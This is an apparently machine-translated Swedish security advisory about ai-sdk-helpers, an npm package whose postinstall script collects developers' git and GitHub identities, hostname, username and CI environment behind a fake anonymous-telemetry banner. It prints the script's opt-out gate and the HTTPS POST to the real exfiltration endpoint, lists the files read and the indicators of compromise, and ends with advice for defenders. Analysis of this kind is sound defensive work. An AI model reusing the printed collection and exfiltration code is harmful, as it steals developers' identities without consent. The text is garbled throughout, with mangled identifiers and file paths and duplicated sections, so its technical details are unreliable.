TL; DR
Ett enda npm-paket, ai-sdk-hjälpare, presenterar sig som en produktionsverktygslåda för Vercel AI SDK, och erbjuder kostnadsspårning, leverantörsalternativ och streaminghjälpmedel.
Dess installationsskript öppnas med en elegant banner som beskriver anonym diagnostik, som lovar att ingen källkod, tokens eller inloggningsuppgifter överförs, och respekterar en DO_NOT_TRACK avanmäla sig och länka till en sida med telemetripolicy.
Samma skript läser sedan utvecklarens git-identitet, GitHub CLI-konfiguration, maskinens värdnamn, operativsystemets användarnamn, arbetskatalog och CI-leverantör.
Den informationen POSTAS som JSON till en Google Cloud Run-slutpunkt, vilket skapar en tydlig skillnad mellan den angivna telemetripolicyn och de faktiska fält som samlas in.
Paketet publicerades i tjugotvå versioner inom en enda 83-sekunders skur, och installationsskriptet är identiskt byte-för-byte i varje flaggad version.
Sju av åtta versioner som granskats av vår pipeline bedömdes som ofullständiga av ML-klassificeraren eftersom samtyckesbannerns formatering läser som legitim telemetri.
Vi klassificerar ai-sdk-helpers som skadlig baserat på insamling och exfiltrering av utvecklaridentiteter vid installationstillfället.
Allvarlighetsgrad: hög.
Installationens anatomi
{ "scripts": { "postinstall": "node scripts/postinstall.js" } } efterinstallation körs automatiskt på npm installera, innan någon av paketets annonserade kod någonsin importeras. Skriptet scripts/postinstall.js är där allt beteende vid installationen finns.
Den öppnas med ett kommentarsblock och ett körtidsmeddelande skrivet i registret för ett integritetsmedvetet öppen källkodsprojekt:
>När du installerar ai-sdk-helpers kör vi en snabb kontroll av miljökompatibilitet och rapporterar anonyma diagnostikresultat… Informationen är helt anonym – vi samlar in din plattform, nodversion och en envägshash av din maskinidentifierare. Ingen källkod, tokens eller inloggningsuppgifter överförs någonsin.
Den kopplar till och med upp en fungerande opt-out-grind, den första körbara koden i filen:
if ( process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" || process.env.DO_NOT_TRACK === "1" ) { process.exit(0); } Att först lägga den här grinden i gänget är det som gör att resten tolkas som konsensuellt: en utvecklare som sätter `D_NOT_TRACK` ser installationen slutföras tyst och avslutar att paketet respekterar konventionen. Den accepterade avanmälan är verklig. Vad den öppnar, för alla som inte anger den, är samlingen som beskrivs nedan — inte den snävare "plattform, nodversion och en envägshash" som meddelandet namnger.
Under den grinden monterar skriptet en nyttolast som går långt utöver den beskrivningen.
- *Gt-identitet.* rlösaScmIdentitet()` huvuden `~.gitconfig`,`~.config/git/config`,och det nuvarande projektets `.`it/config`,analyserar `[ser]` avsnitt och returnerar den konfigurerade commit e-post. Om ingen konfigurationsfil ger ett e-postmeddelande, återgår den till `GT_AUTHOR_EMAIL`,`GT_COMMITTER_EMAIL`,och `EAIL` miljövariabler. En dokumentsträng ovanför funktionen ramar in läsningen som ett sätt att "deduplicera installationer över maskiner som ägs av samma person (t.ex. bärbar dator + CI)" - ett uttalat syfte som kräver en stabil identifierare per utvecklare, vilket en commit e-posttillbehör.
- *GtHub-konto.* rlösGitHubIdentity()` huvuden `~.config/gh/hosts.yml` och `~.config/gh/hosts.yaml` konfigurationsfilen som skrivs av GitHub CLI när en utvecklare autentiserar — och regex-extraherar `ueh:` och `eilla:` fält. Den filen lagrar även GitHub OAuth-token; skriptets regex riktar sig specifikt mot användarnamns- och e-postadressraderna och extraherar inte token. Påståendet "inga tokens ... överförs någonsin" i avslöjandebannern är därför bokstavligen sant för just det fältet medan de omgivande kontoidentifierarna läses och skickas.
- *Hst och CI fingeravtryck.* manuset samlar sedan in `o.värdnamn()`,`o.användarinfo().användarnamn`,Nodversionen, plattformen och arkitekturen, `pocess.cwd()`,och en CI-provider-etikett som lösts genom att kontrollera miljövariabler för åtta providers (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite och två generiska CI-flaggor). Providerlistan läses som en inventering av var skriptet förväntas köras – interaktiva skal och automatiserad byggprocess. pipelineär likadana.
Alla dessa är grupperade i ett enda `dagnostiker objekt, med fälten per utvecklare samlade under ett `i`enhet ey och värddata under `rntime` och `cntext` eys, sedan serialiserade och överförda:
const req = https.request( { hostname: "npm-package-logger-228835561205.europe-west1.run.app", path: "/", method: "POST", headers: { "Content-Type": "application/json" }, timeout: 5000, }, () => {} ); req.on("error", () => {}); req.write(body); req.end(); Svaret ignoreras och alla fel sväljs — en kommentar noterar att "telemetri aldrig får förstöra installationen." Slutpunktens värdnamn kodar en Google Cloud Run-tjänst i `erep-väst1` region.
Gapet är berättelsen. Bannern namnger tre kategorier av data – plattform, nodversion, maskinidentifierar-hash. Nyttolasten skickar en utvecklares riktiga git. commit e-postadress, deras GitHub-användarnamn och e-postadress, deras maskinvärdnamn och operativsystemkontonamn, deras projektsökväg och deras CI-miljö. Fälten som identifierar ett *prson och deras konton* är exakt de fält som upplysningen utelämnar.
README-filen förstärker inramningen från andra sidan. Dess "Telemetri"-avsnitt upprepar anonymitetskravet och länkar ordet `D_NOT_TRACK` o `cnsoledonottrack.com`,den verkliga communitysidan som dokumenterar konventionen om att välja bort – lånar en erkänd integritetspolicy standard för att få meddelandet att läsas som rutinmässigt.
tidslinje
Detta är ett fynd i ett enda paket med en mycket kort och tät publikationshistorik. Det finns ingen flerveckorskampanj att spåra – hela versionsutbudet pressades i maskinhastighet.
| När (UTC) | Event |
|---|---|
| 2026-06-03 20:31:20 | Första versionen (0.1.0) publicerad till npm. |
| 2026-06-03 20:31:20 – 20:32:43 | Alla 22 versioner (0.1.0 dig genom 1.4.2) publicerad i en 83 sekunder lång automatiserad serie. |
| 2026-06-04 | Åtta versioner flaggade av detekteringssignaler; manuell analys bekräftar insamling och exfiltrering av identitet vid installationstillfället. Paketet var fortfarande aktivt på npm vid tidpunkten för analysen. |
Det 83 sekunder långa fönstret över 22 semantiska versioner är i sig en beteendeindikator: versionsstegen (`01.0',`01.1',… `14.2")presenterar ytan av ett aktivt underhållet projekt med en utgivningshistorik, producerad i en skriptkörning. Installationsskriptet ändras inte över den stegen — se nedan.
Indikatorer för kompromiss
Nyttolasten vid installationstid är identisk för hela det publicerade versionsintervallet.ff` f`sripts/postinstall.js` mellan version `02.1` andra versionen `14.2` returnerar inga skillnader; beteendet är ett fast fingeravtryck, inte en föränderlig nyttolast.
nätverks
Det 83 sekunder långa fönstret över 22 semantiska versioner är i sig en beteendeindikator: versionsstegen (`01.0',`01.1',… `14.2")presenterar ytan av ett aktivt underhållet projekt med en utgivningshistorik, producerad i en skriptkörning. Installationsskriptet ändras inte över den stegen — se nedan.
Indikatorer för kompromiss
Nyttolasten vid installationstid är identisk för hela det publicerade versionsintervallet.ff` f`sripts/postinstall.js` mellan version `02.1` andra versionen `14.2` returnerar inga skillnader; beteendet är ett fast fingeravtryck, inte en föränderlig nyttolast.
nätverks
| Indikator | Roll |
|---|---|
npm-package-logger-228835561205.europe-west1.run.app | Exfiltreringsslutpunkt som tar emot HTTPS POST-förfrågningar med JSON-nyttolaster. Hostas på Google Cloud Run i europe-west1 område. |
Infrastruktur för lockbeten
| Indikator | Roll |
|---|---|
ai-sdk.guide | Pakets hemsida och live-webbplats som stöder författaridentiteten "AI SDK Guide". |
ai-sdk.guide/telemetry | URL för telemetripolicy som refereras i meddelandet om installationstillfället. |
hello@ai-sdk.guide | Författarens e-postadress deklarerad i package.json. |
github.com/ai-sdk-guide/ai-sdk-helpers | Källkodsförråd deklarerat av paketet. |
Filer som läses vid installationstillfället
- -.gitconfig`,`~.config/git/config`,`<wd>/.git/config` git `[ser]` post
- - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` GitHub CLI `ueh `esjuk
Beteende signaturer
- – m`pstinstall` ook anropar ett paketerat Node-skript
- – grind för att välja bort (`A_SDK_HELPERS_TELEMETRY_DISABLED`,`D_NOT_TRACK`)presenteras som en integritetsfunktion, före identitetsinsamling
- – tbound HTTPS POST för ett JSON-objekt som innehåller git-e-postadress, GitHub-identitet, värdnamn, OS-användarnamn, cwd och CI-etikett
- – identiskt installationsskript över en snabbt publicerad versionsstege
Attribuering och observerat beteende
Vi tillskriver ingenting utöver vad paketet och registermetadataen registrerar.
Den npm-ansvarige för register är kontot `aielsimon`,med adressen `aiel@vigilance.security`.Registret listar den e-postadressen som overifierad och kontots källkontrollidentitet som overifierad. `pckage.json`,separat, presenterar författaren som "AI SDK Guide"ello@ai-sdk.guide>`”med en hemsida för `a-sdk.guide` och ett källkodsarkiv under ett `gorganisationen thub.com/ai-sdk-guide`. Publiceringskontots e-postadress (`vigilance.security`)och författaridentiteten i paketet (`a-sdk.guide`)är olika domäner.
Den `a-sdk.guide` ite är live och svarar, och `/elementmetri ath resolves — lockbetesidentiteten stöds av en nåbar webbnärvaro snarare än en död länk, vilket ökar trovärdigheten hos paketets inramning.
**Observerad kapacitet.** Vid installationstillfället läser paketet utvecklarens identitet och kontokonfigurationsfiler, tar fingeravtryck av värd- och CI-miljön och överför resultatet till en operatörsstyrd slutpunkt, samtidigt som ett meddelande visas som beskriver en smalare och anonymiserad datamängd. Vi beskriver detta beteende; vi påstår inte något motiv för det. Läsare som utvärderar paketet – inklusive alla parter som känner igen publiceringsidentiteten – bör väga den observerbara skillnaden mellan de angivna och faktiska dataflödena.
Påverkan, trender och vägledning för försvarare
Vem som är exponerad. Den som installerar ai-sdk-hjälpare — direkt eller som ett transitivt beroende — kör samlingen på den maskinen. Eftersom utlösaren är efterinstallation, den annonserade bibliotekskoden behöver aldrig importeras för att dataflödet ska ske; installationen ensam räcker. De mest värdefulla miljöerna är utvecklararbetsstationer med en konfigurerad git-identitet och ett autentiserat GitHub CLI, och CI-körningar, där skriptets CI-provider-detektering indikerar att samlingen förväntas köras inuti build. pipelinesåväl som på bärbara datorer.
Vad den avslöjar. Inte applikationshemligheter i det allmänna fallet — nyttolasten centrerar sig kring identitetutvecklarens commit e-postadress, deras GitHub-kontonamn och e-postadress, maskin- och kontonamn och projektets sökväg. Det är en förhandsgranskningcisen karta över vem som installerade paketet, på vilken maskin, i vilket arkiv och under vilket CI-system. För en organisation skulle en handfull sådana poster tillsammans räkna upp vilka ingenjörer och vilka byggsystem som hämtade beroendet – användbart som en föregångare till mer riktad uppföljningsaktivitet, även om detta pakets eget beteende upphör vid insamling och överföring.
Trenden: telemetri som täckmantel. Legitima utvecklarverktyg samlar in anonymiserad installationsdiagnostik, och konventionerna för att göra det respektfullt - ett meddelande om upplysningar, en SPÅRA_INTE heder, en flagga för att välja bort, en policy-URL – är välkända. ai-sdk-hjälpare återger alla fyra dessa konventioner troget och använder dem som omslag för identitetsinsamling. Förekomsten av en samtyckesbanner, en fungerande avanmälan eller en länk till integritetspolicyn är inte bevis på att ett paket är pålitligt; dessa kontroller är billiga att imitera. Den enda tillförlitliga kontrollen är vad koden faktiskt läser och vart den faktiskt skickar den.
Denna paketering har också en mätbar effekt på automatiserad triage. Över alla versioner vår pipeline granskade, installationsskriptets kommentarer i enkelt språk, strukturerade fältnamn och konventionella avanmälningsgrind poängsattes som vanlig telemetri: sju av åtta kom tillbaka inte övertygande från ML-klassificeraren snarare än skadlig. Signalen som löser tvetydigheten finns inte i texten – den finns i de specifika filer som skriptet öppnar (~ / .gitconfig, ~/.config/gh/hosts.yml) och destinationen den skickar till. En granskare, automatiserad eller mänsklig, som läser informationen och stannar där kommer att dra fel slutsats; bedömningen måste komma från fakta i dataflödet.
Vägledning för försvarare:
- Installera med skript inaktiverade som standard — npm-installation –ignore-scripts, eller ställ in ignorera-skript=true in .npmrc och köra granskade byggsteg explicit. Detta neutraliserar efterinstallation-utlöst inkasso över hela linjen.
- Behandla inte kontroller för att välja bort meddelanden som förtroendesignaler. SPÅRA_INTE En kontroll eller en länk till en "telemetripolicy" säger ingenting om vilka data ett skript samlar in när grinden inte är inställd.
- Läs installationskroken innan du använder hjälppaket för AI-ekosystem. Vercel AI SDK-utrymmet är ett snabbt rörligt mål med hög tillförlitlighet; efterinstallation som berör ~ / .gitconfig or ~/.config/gh/ är en tydlig signal oavsett hur kommentarerna i omgivningen är skrivna.
- Övervaka utgående meddelanden under byggtiden. En utgående HTTPS POST under npm installera, särskilt till en nyligen provisionerad molnfunktionsslutpunkt, är observerbar på nätverkslagret och är en stark detekteringspunkt för CI-miljöer.
- Se upp för komprimerade versionsstegar. Ett paket vars hela semantiska versionshistorik visas inom några sekunder, med ett oförändrat installationsskript, presenterar en tillverkad underhållshistorik.





